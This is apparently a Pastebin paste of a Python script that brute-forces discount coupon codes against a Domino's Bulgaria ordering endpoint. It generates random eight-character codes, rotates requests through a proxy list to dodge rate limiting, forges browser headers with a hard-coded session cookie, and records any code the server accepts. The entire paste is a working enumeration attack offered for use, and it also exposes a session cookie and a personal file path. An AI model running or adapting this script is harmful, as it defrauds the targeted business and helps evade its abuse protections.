Advertisement
Guest User

Untitled

a guest
Mar 12th, 2020
1,369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. import requests
  2. import random
  3. import string
  4. import threading
  5. import time
  6. import os
  7.  
  8.  
  9. def id_generator(size=8, chars=string.ascii_uppercase + string.digits):
  10. return ''.join(random.choice(chars) for _ in range(size))
  11.  
  12.  
  13. proxies_path = "/Users/yavorbelakov/PycharmProjects/domp/proxies.txt"
  14.  
  15. with open(proxies_path) as f:
  16. proxies_content = f.readlines()
  17. proxies = [x.strip() for x in proxies_content]
  18. output_file = open("/Users/yavorbelakov/PycharmProjects/domp/outt.txt", "a+")
  19.  
  20.  
  21. data = {
  22. 'address_id': '0',
  23. 'time': '15:20',
  24. 'time_type': 'LATER',
  25. 'store_id': '36',
  26. 'delivery_method': 'C',
  27. 'show_basket': 'showLast'
  28. }
  29.  
  30.  
  31. def check_coupon():
  32. try:
  33. a = id_generator(8)
  34. proxy_index = random.randint(0, len(proxies) - 1)
  35. proxy = {"http": "http://" + proxies[proxy_index], "https": "http://" + proxies[proxy_index]}
  36. headers = {
  37. 'authority': 'www.dominos.bg',
  38. 'accept': '*/*',
  39. 'sec-fetch-dest': 'empty',
  40. 'x-requested-with': 'XMLHttpRequest',
  41. 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
  42. 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  43. 'origin': 'https://www.dominos.bg',
  44. 'sec-fetch-site': 'same-origin',
  45. 'sec-fetch-mode': 'cors',
  46. 'referer': 'https://www.dominos.bg/checkout',
  47. 'accept-language': 'en-US,en;q=0.9,bg;q=0.8',
  48. 'cookie': 'Dominos_C_Lang=bg; PHPSESSID=1i911jdrmkpe0a5fu6k0to9lm6; MicrosoftApplicationsTelemetryDeviceId=64f104ee-7423-4ab0-81fa-3b353942f869; MicrosoftApplicationsTelemetryFirstLaunchTime=2020-03-12T10:03:49.893Z; __zlcmid=xBiyjV8QiatGWd; KeepAlive=b7298b4ac6a0649545d2abe1a4f52ff4b69b24f0adf3cbcb4785ee185cb6e6d2649e2b969bc3fed703f4db49084d0d911447dcfd5646d5a4fe08bf956e437fea; Order_data=%7B%22store_id%22%3A%2236%22%2C%22address_id%22%3A0%2C%22delivery_method%22%3A%22C%22%2C%22time%22%3A%2215%3A20%22%2C%22store_perma%22%3A%22sofia-borovo%22%7D; Toppings=%5B%7B%22product%22%3A%22534%22%2C%22toppings%22%3A%5B%7B%221%22%3A%221%22%2C%222%22%3A%221%22%2C%223%22%3A%221%22%2C%226%22%3A%221%22%2C%229%22%3A%221%22%2C%22197%22%3A%221%22%7D%5D%2C%22specs%22%3A%5B%2235113%22%5D%7D%2C%7B%22product%22%3A%22233%22%2C%22toppings%22%3A%5B%7B%221%22%3A%221%22%2C%222%22%3A%222%22%7D%5D%2C%22specs%22%3A%5B%228471%22%5D%7D%5D; Basket=%7B%2236%22%3A%7B%22combo%22%3A%5B%5D%2C%22catering%22%3A%5B%5D%2C%22normal%22%3A%5B%7B%22ids%22%3A%5B%228471%22%5D%2C%22quantity%22%3A1%2C%22toppings%22%3A%5B%7B%221%22%3A%221%22%2C%222%22%3A%222%22%7D%5D%2C%22comments%22%3A%22%22%2C%22favorite%22%3A%22%22%7D%5D%7D%7D; Coupons= %5B%22' + a + '%22%5D'
  49. }
  50. response = requests.post('https://www.dominos.bg/new/ajax/order.php', headers=headers, proxies=proxy, data=data,timeout=5)
  51. # response = requests.post('https://www.dominos.bg/new/ajax/order.php', proxies=proxy, headers=headers, data=data, timeout = 5)
  52. #print(response.text)
  53. if "Coupon_not_found" in response.text:
  54. print(a + " not valid\n")
  55. output_file.write(a + " not valid\n")
  56. output_file.flush()
  57. elif "Coupon_found" in response.text:
  58. print("Coupon: " + a + "\n")
  59. output_file.write("Coupon: " + a + "\n")
  60. output_file.flush()
  61. check_coupon()
  62. except:
  63. print("exception")
  64. check_coupon()
  65.  
  66.  
  67. if __name__ == '__main__':
  68. check_coupon()
  69.  
  70. threads = []
  71.  
  72.  
  73. t = threading.Thread(target=check_coupon())
  74. threads.append(t)
  75. t.start()
  76.  
  77. for t in threads:
  78. t.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement